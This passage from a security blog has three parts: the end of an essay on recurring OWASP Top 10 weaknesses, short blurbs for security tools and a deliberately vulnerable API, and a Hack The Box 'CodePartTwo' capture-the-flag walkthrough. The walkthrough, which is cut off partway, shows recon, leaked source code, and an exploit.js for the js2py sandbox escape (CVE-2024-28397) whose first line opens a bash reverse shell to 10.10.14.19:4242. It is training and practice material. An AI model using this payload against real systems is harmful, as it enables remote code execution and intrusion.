distributing the same problems across more complex infrastructure though.</p> <h2 id="access-controls-still-broken">Access controls - still broken</h2> <p>Broken access control is #1 on the OWASP Top 10 for a reason. As an industry, the economics of web development forced us to tackle the phishing problem first - identity and authentication (AuthN) get the budget and attention. Passkeys might finally kill credential theft. Cool. But authentication is the easy problem. Authorization (AuthZ) is where we keep failing. The reality? All the YubiKeys and passkeys in the world won't save you if a new user can access your admin panel by tweaking a role in their JWT. If anyone can view customer data by incrementing an ID in the API call then its all for naught.</p> <p>Perhaps, we're close to getting "who are you?" right, but we still can't consistently answer "what are you allowed to do?".</p> <h2 id="injection-still-works">Injection still works :/</h2> <p>What's fascinating about injection vulnerabilities is that we keep making this mistake. Just as we've wrapped our heads around the ramifications of a given query technology, we invent a new one with a whole new set of injection primitives to worry about:</p> <ul> <li>2004 - SQL databases were the norm → SQLi was rampant</li> <li>2010 - XML-RPC was common → XXE attacks emerged</li> <li>2015 - NoSQL databases became mainstream → NoSQL injection appeared</li> <li>2020 - GraphQL was everywhere → We stacked NoSQL injection with GraphQL-specific query manipulation</li> <li>2025 - LLMs are in production → Prompt injection, RAG poisoning, and indirect prompt injection are the new frontier</li> </ul> <p>The underlying problem never changed: we're still concatenating untrusted input into interpreters. We just keep inventing new interpreters. In 2004, it was <code>"SELECT * FROM users WHERE id=" + userInput</code>. In 2025, it's <code>f"Answer this question using the following context: {userInput}"</code>. Same vulnerability. Different syntax. We learned to parameterize SQL queries, but forgot the lesson when we moved to NoSQL, GraphQL, and now AI prompts.</p> <hr /> <h1 id="conclusion-what-does-this-mean-beyond-2025">Conclusion: What Does This Mean Beyond 2025?</h1> <p>Twenty years of OWASP Top 10 data tells us something uncomfortable: <strong>we're not getting better at the fundamentals.</strong> We're getting better at building complex systems that distribute the same old vulnerabilities across more layers.</p> <p>Will AI in the form of LLM based tools help us? That remains to be seen, however I remain sceptical of this, given that broken access control is still at the top. BAC issues stem from a lack of understanding or testing of the business rules unique to the application being built - that is to say, you can't prompt for what you don't know to ask for in the first place, and the LLM won't inherently detect every single RBAC rule your organization has come up with, at least not unless the LLM has direct access to that information - which seems unlikely to me. I think this is why humans will still be involved heavily in creating software well into the future.</p> <h2 id="for-defenders">For Defenders</h2> <p>The good news is that the appsec playbooks from 2004 largely still work. SQL injection prevention, access control validation, input sanitization—these aren't outdated techniques. They're eternal truths we keep forgetting.</p> <p>The challenge is you now need to apply those fundamentals across:</p> <ul> <li>50 microservices</li> <li>400 npm dependencies</li> <li>12 cloud services</li> <li>AI prompts that look like natural language but behave like SQL queries</li> </ul> <h3 id="actionable-advice">Actionable advice</h3> <ul> <li><strong>Shift left, but verify right:</strong> DevSecOps is great, but runtime monitoring caught SolarWinds, CodeCov, and dozens of supply chain attacks that passed all the CI checks</li> <li><strong>Assume compromise in your dependencies:</strong> Pin versions, use SBOMs, monitor for behavioral changes</li> <li><strong>Log like someone's life depends on it:</strong> Because in healthcare, finance, and critical infrastructure, it actually might.</li> </ul> <h2 id="for-developers">For Developers</h2> <p>You've inherited 20 years of technical debt disguised as "best practices." From one of the old guard - I am sorry.</p> <p>The uncomfortable truth, that npm package you installed? You're trusting 79 third-party packages and 39 maintainers on average. That GraphQL endpoint? It's just SQL injection with extra steps. That LLM feature? It's user input concatenation all over again.</p> <h3 id="first-principles-still-matter">First Principles still matter</h3> <ul> <li><strong>Understand, don't just use:</strong> Frameworks protect you until they don't. Know why parameterized queries work, not just how to use an ORM</li> <li><strong>Treat AuthZ like AuthN:</strong> You wouldn't skip password validation. Stop skipping resource ownership checks</li> <li><strong>Your code will be attacked:</strong> Design with that assumption. Write logs that help future-you during an incident at 3 AM</li> <li><strong>Supply chain hygiene:</strong> Review your dependencies like you review your own code. That leftpad incident wasn't a fluke—it was a warning</li> </ul> <p><strong>The mantra:</strong> If you're concatenating user input into <em>anything</em> that interprets it—SQL, NoSQL, GraphQL, shell commands, prompts—you're probably doing injection wrong.</p> <h2 id="for-leadership">For Leadership</h2> <p>Here's what 20 years of data actually tells you:</p> <p><strong>1. Security isn't getting easier</strong></p> <p>You can't "buy security" - never could. That SAST tool, WAF, or SIEM? They're necessary, but insufficient. Security is about your people:</p> <ul> <li>Developer training (they're shipping the vulns)</li> <li>Architecture decisions (microservices = more attack surface)</li> <li>Supply chain verification (your code is 5% of your application)</li> <li>Incident response and threat hunting capabilities (you will be breached, but can you detect it?)</li> </ul> <p><strong>2. The fundamentals haven't changed, but the economics have</strong></p> <p>In 2004, a breach meant some bad press. In 2025, it means:</p> <ul> <li>GDPR/DORA/CCPA/HIPAA fines (4% of global revenue)</li> <li>Class action lawsuits</li> <li>Ransomware payments</li> <li>Supply chain liability (you breached your customers too)</li> <li>Millions wiped off stock prices overnight</li> </ul> <p>The ROI on basic security hygiene has never been higher.</p> <p><strong>3. Your developers are your security team (whether you like it or not)</strong></p> <p>Every line of code is a security decision. Every dependency is a trust decision. Every API endpoint is an attack vector. You can hire all the security engineers you want, but if your 50 developers ship 1,000 commits per week, security-by-review doesn't scale.</p> <p><strong>Investment priorities:</strong></p> <ul> <li><strong>Training:</strong> Not compliance checkbox training. Real, practical secure coding for your stack</li> <li><strong>Tooling:</strong> SAST/DAST/SCA that developers actually use (not just buy)</li> <li><strong>Culture:</strong> Making security a feature requirement, not a post-release patch</li> <li><strong>Observability:</strong> You can't defend what you can't see. Log aggregation, SIEM, and actual human analysis</li> </ul> <h2 id="call-to-action-how-does-your-application-stack-up">Call to Action: How Does Your Application Stack Up?</h2> <p>Here's your mission if you choose to accept it.</p> <ol> <li><strong>Take 30 minutes:</strong> Walk through the <a rel="external" href="https://owasp.org/Top10/">OWASP Top 10 2025 RC1</a> and honestly assess which apply to your application</li> <li><strong>Check your dependencies:</strong> Run <code>npm audit</code> or equivalent. How many HIGH/CRITICAL vulns are you shipping?</li> <li><strong>Test your logging:</strong> Simulate an attack. Can you detect it? Can you trace it? Can you respond to it?</li> <li><strong>Review your CI/CD:</strong> Can you prove what went into your last build? Do you have integrity checks?</li> <li><strong>Audit one critical endpoint:</strong> Pick your most sensitive API. Check for: <ul> <li>Broken access control (can user A access user B's data?)</li> <li>Injection vectors (are you sanitizing/parameterizing inputs?)</li> <li>Logging (would you know if this endpoint was being abused?)</li> </ul> </li> </ol> <p><strong>Then ask yourself:</strong> If this application were breached tomorrow, would we:</p> <ul> <li>Know about it within hours (not months)?</li> <li>Understand how they got in?</li> <li>Be able to prove what data was accessed?</li> <li>Have a response plan that doesn't start with "panic"?</li> </ul> <p>If you answered "no" to any of those, start with the OWASP Top 10. It's been telling us the same story for 20 years.</p> <h2 id="a-final-thought">A Final Thought</h2> <p>The OWASP Top 10 isn't a prediction of the future. It's a reflection of our past.</p> <p>Buffer overflows dropped off not because we got smarter, but because we moved to languages that wouldn't let us make that mistake. SQL injection is still #3 not because it's hard to prevent, but because we keep forgetting to prevent it.</p> <p><strong>That's up to us.</strong></p> <hr /> <p><em>Thanks for reading. If you found this useful, consider sharing it with your team. And if you're working on securing applications, you're not alone—the OWASP community is there to help. Check out <a rel="external" href="https://owasp.org">https://owasp.org</a> for resources, tools, and that Top 10 list we've been talking about.</em></p> <p><em>Stay safe out there. And for the love of all that is holy, <strong>parameterize your queries.</strong></em></p> <p>===================</p> <p>References:</p> <ul> <li><a rel="external" href="https://www.okta.com/identity-101/mydoom/">1 - MyDoom History</a></li> <li><a rel="external" href="https://prwire.com.au/pr/4412/symantec-internet-security-threat-report-highlights-rise-in-threats-to-confidential-information">2 - Symantec threat report for 2004</a></li> <li><a rel="external" href="https://deepstrike.io/blog/vulnerability-statistics-2025">3 - Deepstrike Vulnerabilities Statistics 2025: Record CVEs, Zero-Days &amp; Exploits</a></li> <li><a rel="external" href="https://content.blackkite.com/ebook/2025-supply-chain-vulnerability-report/trends-and-statistics">4 - Blackite Vulnerability Trends and Statistics</a></li> <li><a rel="external" href="https://www.zdnet.com/article/hacking-20-high-profile-dev-accounts-could-compromise-half-of-the-npm-ecosystem/">5 - ZDnet article</a></li> </ul> rust crate: bugcrowd_vrt 2025-11-27T00:00:00+00:00 2025-11-27T00:00:00+00:00 akses https://trapdoorsec.com/projects/bugcrowd-vrt-rust/ <h2 id="overview">Overview</h2> <p>A convenience crate for mapping vulnerability data from Bugcrowd VRT &lt;==&gt; CWE &lt;==&gt; CVSS 3.0</p> <h2 id="where-to-find-it">Where to find it</h2> <p><a rel="external" href="https://github.com/trapdoorsec/bugcrowd-vrt">https://github.com/trapdoorsec/bugcrowd-vrt</a></p> DVWAPI 2025-11-27T00:00:00+00:00 2025-11-27T00:00:00+00:00 akses https://trapdoorsec.com/projects/dvwapi/ <h2 id="overview">Overview</h2> <p>Damn Vulnerable Web API - An intentionally insecure REST API for security testing and training.</p> <blockquote> <p>[!WARNING] Running this on the open internet will leave the host vulnerable. It is recommended to use the supplied container in a restricted access environment instead. If you choose to host this on the public internet you do so at your own risk!!</p> </blockquote> <p>DVWAPI is a deliberately vulnerable web application designed for learning and practicing web API security testing. It contains common vulnerabilities found in web APIs including exposed sensitive endpoints, lack of authentication, and information disclosure.</p> <h2 id="where-to-get-dvwapi">Where to get DVWAPI</h2> <p><a rel="external" href="https://github.com/trapdoorsec/DVWAPI">https://github.com/trapdoorsec/DVWAPI</a></p> Rinzler 2025-11-27T00:00:00+00:00 2025-11-27T00:00:00+00:00 akses https://trapdoorsec.com/projects/rinzler/ <h2 id="overview">Overview</h2> <p>A somewhat intelligent Web API scanner for security testing and reconnaissance.</p> <blockquote> <p>Under active development. This is in pre-alpha and is intended for learning purposes only. It may contain security and performance issues. Core features implemented: crawling with security analysis, forced browsing/fuzzing, database persistence, and multi-format reporting.</p> </blockquote> <h2 id="features">Features</h2> <ul> <li>Web Crawling: Multi-threaded async crawling with configurable depth and worker pools</li> <li>Forced Browsing: Dictionary-based directory enumeration with distributed workers</li> <li>Security Analysis: Passive detection of insecure transport, sensitive files, and server errors</li> <li>Cross-domain Control: Stay on target or follow external links with prompt/auto modes</li> <li>Progress Tracking: Real-time worker status with progress bars for each thread</li> <li>Multi-format Reports: Generate reports in text or JSON format with optional sitemaps</li> <li>SQLite Backend: Persistent storage with severity ratings, CWE/OWASP categorization</li> <li>Embedded Wordlists: Default API endpoint wordlist with 99 entries included</li> </ul> <h2 id="where-to-find-rinzler">Where to find Rinzler</h2> <p><a rel="external" href="https://github.com/trapdoorsec/rinzler">https://github.com/trapdoorsec/rinzler</a></p> HTB Walkthrough: CodePartTwo 2025-11-22T00:00:00+00:00 2025-11-22T00:00:00+00:00 akses https://trapdoorsec.com/writeups/code-part-2/ <h1 id="htb-walkthrough-codeparttwo">HTB Walkthrough: CodePartTwo</h1> <p><img src="https://trapdoorsec.com/writeups/code-part-2/codeparttwo.png" alt="" /></p> <table><thead><tr><th>Name</th><th>CodePartTwo</th></tr></thead><tbody> <tr><td>Location</td><td>https://app.hackthebox.com/machines/CodePartTwo</td></tr> <tr><td>Difficulty</td><td>Easy</td></tr> <tr><td>OS</td><td>Linux</td></tr> <tr><td>Weaknesses found</td><td><a rel="external" href="https://cwe.mitre.org/data/definitions/94.html">CWE-94: Insecure Control of Code Generation</a></td></tr> <tr><td></td><td><a rel="external" href="https://cwe.mitre.org/data/definitions/95.html">CWE-95: Eval injection</a></td></tr> <tr><td></td><td><a rel="external" href="https://cwe.mitre.org/data/definitions/427.html">CWE-427: Uncontrolled Search Path Element</a></td></tr> <tr><td></td><td><a rel="external" href="https://cwe.mitre.org/data/definitions/1391.html">CWE-1391: Weak Passwords</a></td></tr> <tr><td></td><td><a rel="external" href="https://cwe.mitre.org/data/definitions/759.html">CWE-759: Use of a one-way hash without a salt</a></td></tr> <tr><td>Known Vulnerabilities found</td><td><a rel="external" href="https://nvd.nist.gov/vuln/detail/CVE-2024-28397">CVE-2024-28397</a></td></tr> <tr><td>Points</td><td>20</td></tr> <tr><td>Rating at time of pwning</td><td>4.4</td></tr> <tr><td>Date pwnd</td><td>22nd Nov 2025</td></tr> </tbody></table> <h2 id="overview">Overview</h2> <p>Welcome back to another CTF write-up for practicing penetration testing and reporting skills!</p> <p><code>CodePartTwo</code> is an easy level Ubuntu Linux box hosted on the hackthebox platform, hosting a developer centric website. This CTF teaches the importance of keeping libraries up to date, avoiding allowing untrusted users to run code on your infrastructure, even when you've tried to sandbox them.</p> <h2 id="executive-summary">Executive summary</h2> <p><code>CodePartTwo</code> is vulnerable to a sandbox escape <a rel="external" href="https://nvd.nist.gov/vuln/detail/CVE-2024-28397">CVE-2024-28397</a> leading to remote code execution on the server as the <code>app</code> user. This allows an attacker to access the application database which contains a raw MD5 hash for another user <code>marco</code>. This password is both crackable in under a minute on modern hardware, and is reused as the SSH password for <code>marco</code>. Further, despite <code>marco</code> being a low privilege user, they are allowed to run <code>npbackup-cli</code> as the superuser.</p> <p>Unfortunately this CLI tool can be configured to read and write to the root filesystem allowing a low privileged user to acces the <code>root</code> SSH private key, <em>which is passwordless</em>, and gain full access to the box.</p> <h1 id="testing-method">Testing Method</h1> <h2 id="recon">Recon</h2> <h3 id="nmap-scan">nmap scan</h3> <p>We start with <code>nmap</code> to perform a full port scan (<code>-p-</code>) using service detection (<code>-sV</code>), default scripts (<code>-sC</code>), disabled ping probes (<code>-Pn</code>) and outputting the scan results to a text file (<code>-oN [filename]</code>).</p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">┌──(akses㉿kali</span><span>)-</span><span>[</span><span>~/htb/codeparttwo</span><span>]</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">└─$</span><span style="color: light-dark(#032F62, #9ECBFF);"> nmap</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">vv</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">Pn</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">T4</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">sV</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">sC</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">p-</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">oN</span><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">/home/kali/htb/codeparttwo/scans/_quick_tcp_nmap.txt</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span></span></code></pre> <p>This scan reveals two TCP services running on port 8000 (a HTTP service) and port 22 (SSH Access) <img src="https://trapdoorsec.com/writeups/code-part-2/codeparttwo-portscan.png" alt="" /></p> <h3 id="port-22-ssh-8-2p1">Port 22 (SSH 8.2p1)</h3> <p>The SSH server is configured with some old and insecure algorithms. This can be assessed by <code>ssh-audit</code> however this isn't a particularly relevant finding initially. However this is still report worthy. This also suggests an Ubuntu environment.</p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">┌──(akses㉿kali</span><span>)-</span><span>[</span><span>~/htb/codeparttwo</span><span>]</span></span> <span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">└─$</span><span style="color: light-dark(#032F62, #9ECBFF);"> ssh-audit</span><span style="color: light-dark(#032F62, #9ECBFF);"> codeparttwo</span></span> <span class="giallo-l"><span style="color: light-dark(#6A737D, #6A737D);">#</span><span style="color: light-dark(#6A737D, #6A737D);"> general</span></span> <span class="giallo-l"><span>(</span><span style="color: light-dark(#6F42C1, #B392F0);">gen</span><span>)</span><span style="color: light-dark(#6F42C1, #B392F0);"> banner:</span><span style="color: light-dark(#032F62, #9ECBFF);"> SSH-2.0-OpenSSH_8.2p1</span><span style="color: light-dark(#032F62, #9ECBFF);"> Ubuntu-4ubuntu0.13</span></span> <span class="giallo-l"><span>(</span><span style="color: light-dark(#6F42C1, #B392F0);">gen</span><span>)</span><span style="color: light-dark(#6F42C1, #B392F0);"> software:</span><span style="color: light-dark(#032F62, #9ECBFF);"> OpenSSH</span><span style="color: light-dark(#032F62, #9ECBFF);"> 8.2p1</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">&lt;</span><span>SNIP</span><span style="color: light-dark(#D73A49, #F97583);">&gt;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: light-dark(#6A737D, #6A737D);">#</span><span style="color: light-dark(#6A737D, #6A737D);"> algorithm recommendations (for OpenSSH 8.2)</span></span> <span class="giallo-l"><span>(</span><span style="color: light-dark(#6F42C1, #B392F0);">rec</span><span>)</span><span style="color: light-dark(#6F42C1, #B392F0);"> -ecdh-sha2-nistp256</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">-</span><span style="color: light-dark(#032F62, #9ECBFF);"> kex</span><span style="color: light-dark(#032F62, #9ECBFF);"> algorithm</span><span style="color: light-dark(#032F62, #9ECBFF);"> to</span><span style="color: light-dark(#032F62, #9ECBFF);"> remove</span></span> <span class="giallo-l"><span>(</span><span style="color: light-dark(#6F42C1, #B392F0);">rec</span><span>)</span><span style="color: light-dark(#6F42C1, #B392F0);"> -ecdh-sha2-nistp384</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">-</span><span style="color: light-dark(#032F62, #9ECBFF);"> kex</span><span style="color: light-dark(#032F62, #9ECBFF);"> algorithm</span><span style="color: light-dark(#032F62, #9ECBFF);"> to</span><span style="color: light-dark(#032F62, #9ECBFF);"> remove</span></span> <span class="giallo-l"><span>(</span><span style="color: light-dark(#6F42C1, #B392F0);">rec</span><span>)</span><span style="color: light-dark(#6F42C1, #B392F0);"> -ecdh-sha2-nistp521</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">-</span><span style="color: light-dark(#032F62, #9ECBFF);"> kex</span><span style="color: light-dark(#032F62, #9ECBFF);"> algorithm</span><span style="color: light-dark(#032F62, #9ECBFF);"> to</span><span style="color: light-dark(#032F62, #9ECBFF);"> remove</span></span> <span class="giallo-l"><span>(</span><span style="color: light-dark(#6F42C1, #B392F0);">rec</span><span>)</span><span style="color: light-dark(#6F42C1, #B392F0);"> -ecdsa-sha2-nistp256</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">-</span><span style="color: light-dark(#032F62, #9ECBFF);"> key</span><span style="color: light-dark(#032F62, #9ECBFF);"> algorithm</span><span style="color: light-dark(#032F62, #9ECBFF);"> to</span><span style="color: light-dark(#032F62, #9ECBFF);"> remove</span></span> <span class="giallo-l"><span>(</span><span style="color: light-dark(#6F42C1, #B392F0);">rec</span><span>)</span><span style="color: light-dark(#6F42C1, #B392F0);"> -hmac-sha1</span><span style="color: light-dark(#005CC5, #79B8FF);"> -</span><span style="color: light-dark(#005CC5, #79B8FF);">-</span><span style="color: light-dark(#032F62, #9ECBFF);"> mac</span><span style="color: light-dark(#032F62, #9ECBFF);"> algorithm</span><span style="color: light-dark(#032F62, #9ECBFF);"> to</span><span style="color: light-dark(#032F62, #9ECBFF);"> remove</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">&lt;</span><span>SNIP</span><span style="color: light-dark(#D73A49, #F97583);">&gt;</span></span></code></pre><h3 id="port-8000-http-gunicorn-20-0-4">Port 8000 (HTTP - Gunicorn/20.0.4)</h3> <p>The web application running on port 8000 does look promising for exploitation, a registered user can simply run arbitrary javascript in the browser. The source code for the website is also freely available for download.</p> <p><img src="https://trapdoorsec.com/writeups/code-part-2/codeparttwo-port-8000.png" alt="" /></p> <h3 id="source-code-analysis">Source code analysis</h3> <p>By parsing the requirements.txt in the source supplied we find a flask 3.0.3 application and an app secret in the source code:</p> <p><em>app.py</em></p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">from</span><span> flask</span><span style="color: light-dark(#D73A49, #F97583);"> import</span><span> Flask</span><span>,</span><span> render_template</span><span>,</span><span> request</span><span>,</span><span> redirect</span><span>,</span><span> url_for</span><span>,</span><span> session</span><span>,</span><span> jsonify</span><span>,</span><span> send_from_directory</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">from</span><span> flask_sqlalchemy</span><span style="color: light-dark(#D73A49, #F97583);"> import</span><span> SQLAlchemy</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">import</span><span> hashlib</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">import</span><span> js2py</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">import</span><span> os</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">import</span><span> json</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>js2py</span><span>.</span><span>disable_pyimport</span><span>(</span><span>)</span></span> <span class="giallo-l"><span>app</span><span style="color: light-dark(#D73A49, #F97583);"> =</span><span> Flask</span><span>(</span><span style="color: light-dark(#005CC5, #79B8FF);">__name__</span><span>)</span></span> <span class="giallo-l"><span>app</span><span>.</span><span>secret_key</span><span style="color: light-dark(#D73A49, #F97583);"> =</span><span style="color: light-dark(#032F62, #9ECBFF);"> &#39;</span><span style="color: light-dark(#032F62, #9ECBFF);">S3cr3tK3yC0d3PartTw0</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span></span> <span class="giallo-l"><span>app</span><span>.</span><span>config</span><span>[</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span><span style="color: light-dark(#032F62, #9ECBFF);">SQLALCHEMY_DATABASE_URI</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span><span>]</span><span style="color: light-dark(#D73A49, #F97583);"> =</span><span style="color: light-dark(#032F62, #9ECBFF);"> &#39;</span><span style="color: light-dark(#032F62, #9ECBFF);">sqlite:///users.db</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span></span> <span class="giallo-l"><span>app</span><span>.</span><span>config</span><span>[</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span><span style="color: light-dark(#032F62, #9ECBFF);">SQLALCHEMY_TRACK_MODIFICATIONS</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span><span>]</span><span style="color: light-dark(#D73A49, #F97583);"> =</span><span style="color: light-dark(#005CC5, #79B8FF);"> False</span></span> <span class="giallo-l"><span>db</span><span style="color: light-dark(#D73A49, #F97583);"> =</span><span> SQLAlchemy</span><span>(</span><span>app</span><span>)</span></span></code></pre> <p>We can also observe that the code that runs when the 'Run Code' button is pressed, appears to use <code>js2py v0.74</code> to handle the javascript evaluation via python, executing it server side, and finally bringing back the result as the HTTP response.</p> <p>This input is largely unsanitized both in and out of the application, giving us rise to consider server side command execution vulnerabilities. XSS is a consideration, although that is complicated by the fact that the result is converted to JSON first.</p> <p>Since the version of <code>js2py</code> is reported as 0.74 in <code>requirements.txt</code> it is possible that this code is vulnerable to <a rel="external" href="https://nvd.nist.gov/vuln/detail/CVE-2024-28397">CVE-2024-28397</a> - a sanbox escape. This weakness is well-known and best described by <a rel="external" href="https://cwe.mitre.org/data/definitions/94.html">CWE-94: Insecure Control of Code Generation</a></p> <p><em>The offending code defining the /run_code route in app.py</em></p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #B392F0);">@</span><span style="color: light-dark(#6F42C1, #B392F0);">app</span><span style="color: light-dark(#6F42C1, #B392F0);">.</span><span style="color: light-dark(#6F42C1, #B392F0);">route</span><span>(</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span><span style="color: light-dark(#032F62, #9ECBFF);">/run_code</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span><span>,</span><span style="color: light-dark(#E36209, #FFAB70);"> methods</span><span style="color: light-dark(#D73A49, #F97583);">=</span><span>[</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span><span style="color: light-dark(#032F62, #9ECBFF);">POST</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span><span>]</span><span>)</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">def</span><span style="color: light-dark(#6F42C1, #B392F0);"> run_code</span><span>(</span><span>)</span><span>:</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);"> try</span><span>:</span></span> <span class="giallo-l"><span> code</span><span style="color: light-dark(#D73A49, #F97583);"> =</span><span> request</span><span>.</span><span>json</span><span>.</span><span>get</span><span>(</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span><span style="color: light-dark(#032F62, #9ECBFF);">code</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span><span>)</span></span> <span class="giallo-l"><span> result</span><span style="color: light-dark(#D73A49, #F97583);"> =</span><span> js2py</span><span>.</span><span>eval_js</span><span>(</span><span>code</span><span>)</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);"> return</span><span> jsonify</span><span>(</span><span>{</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span><span style="color: light-dark(#032F62, #9ECBFF);">result</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span><span>:</span><span> result</span><span>}</span><span>)</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);"> except</span><span style="color: light-dark(#005CC5, #79B8FF);"> Exception</span><span style="color: light-dark(#D73A49, #F97583);"> as</span><span> e</span><span>:</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);"> return</span><span> jsonify</span><span>(</span><span>{</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span><span style="color: light-dark(#032F62, #9ECBFF);">error</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span><span>:</span><span style="color: light-dark(#005CC5, #79B8FF);"> str</span><span>(</span><span>e</span><span>)</span><span>}</span><span>)</span></span> <span class="giallo-l"></span></code></pre><h2 id="foothold-app-user">Foothold - app user</h2> <p>There is a publicly available exploit example on <a rel="external" href="https://github.com/releaseown/exploit-js2py/blob/11203e63de577d251271b25911ffdff5cdf050c4/exploit_js2py.php#L108">github</a> that we can modify and use to gain a foothold on the webserver. We don't need the PHP wrapper to execute this since we have the websites JS sandbox at our disposal. By modifying the first line we can cause the webserver to attempt to pipe a bash shells input and output to our machine at <code>10.10.14.19:4242</code>. This script uses the fact that <code>js2py</code> versions up to <code>0.74</code> would inadvertantly allow the running code to read into the python <code>subprocess</code> library and execute the <code>Popen</code> command. It does this under the same privilege as the user running the website.</p> <p><em>exploit.js</em></p> <pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);"><code data-lang="javascript"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">let</span><span> command</span><span style="color: light-dark(#D73A49, #F97583);"> =</span><span style="color: light-dark(#032F62, #9ECBFF);"> &quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">bash -c &#39;bash -i &gt;&amp; /dev/tcp/10.10.14.19/4242 0&gt;&amp;1&#39;</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">let</span><span> hacked</span><span>,</span><span> byakses</span><span>,</span><span> n11</span></span> <span class="giallo-l"><span style="color: light-dark(#D73A49, #F97583);">let</span><span> getattr</span><span>,</span><span> obj</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>base</span><span style="color: light-dark(#D73A49, #F97583);"> =</span><span style="color: light-dark(#032F62, #9ECBFF);"> &#39;</span><span style="color: light-dark(#032F62, #9ECBFF);">__base__</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span></span> <span class="giallo-l"><span>getattribute</span><span style="color: light-dark(#D73A49, #F97583);"> =</span><span style="color: light-dark(#032F62, #9ECBFF);"> &#39;</span><span style="color: light-dark(#032F62, #9ECBFF);">__getattribute__</span><span style="color: light-dark(#032F62, #9ECBFF);">&#39;</span></span> <span class="giallo-l"><span>hacked</span><span style="color: light-dark(#D73A49, #F97583);"> =</span><span> Object</span><span>.</span><span style="color: light-dark(#6F42C1, #B392F0);">getOwnPropertyNames</span><span>(</span><span>{</span><span>}</span><span>)</span></span> <span class="giallo-l"><span>byakses</span><span style="color: light-dark(#D73A49, #F97583);"> =</span><span> hacked</span><span>[</span><span>getattribute</span><span>]</span></span> <span class="giallo-l"><span>n11</span><span style="color: light-dark(#D73A49, #F97583);"> =</span><span style="color: light-dark(#6F42C1, #B392F0);"> byakses</span><span>(</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span style="color: light-dark(#032F62, #9ECBFF);">__getattribute__</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span>)</span></span> <span class="giallo-l"><span>obj</span><span style="color: light-dark(#D73A49, #F97583);"> =</span><span style="color: light-dark(#6F42C1, #B392F0);"> n11</span><span>(</span><span style="color: light-dark(#032F62, #9ECBFF);">&quot;</span><span style="color: light-dark(#032F62, 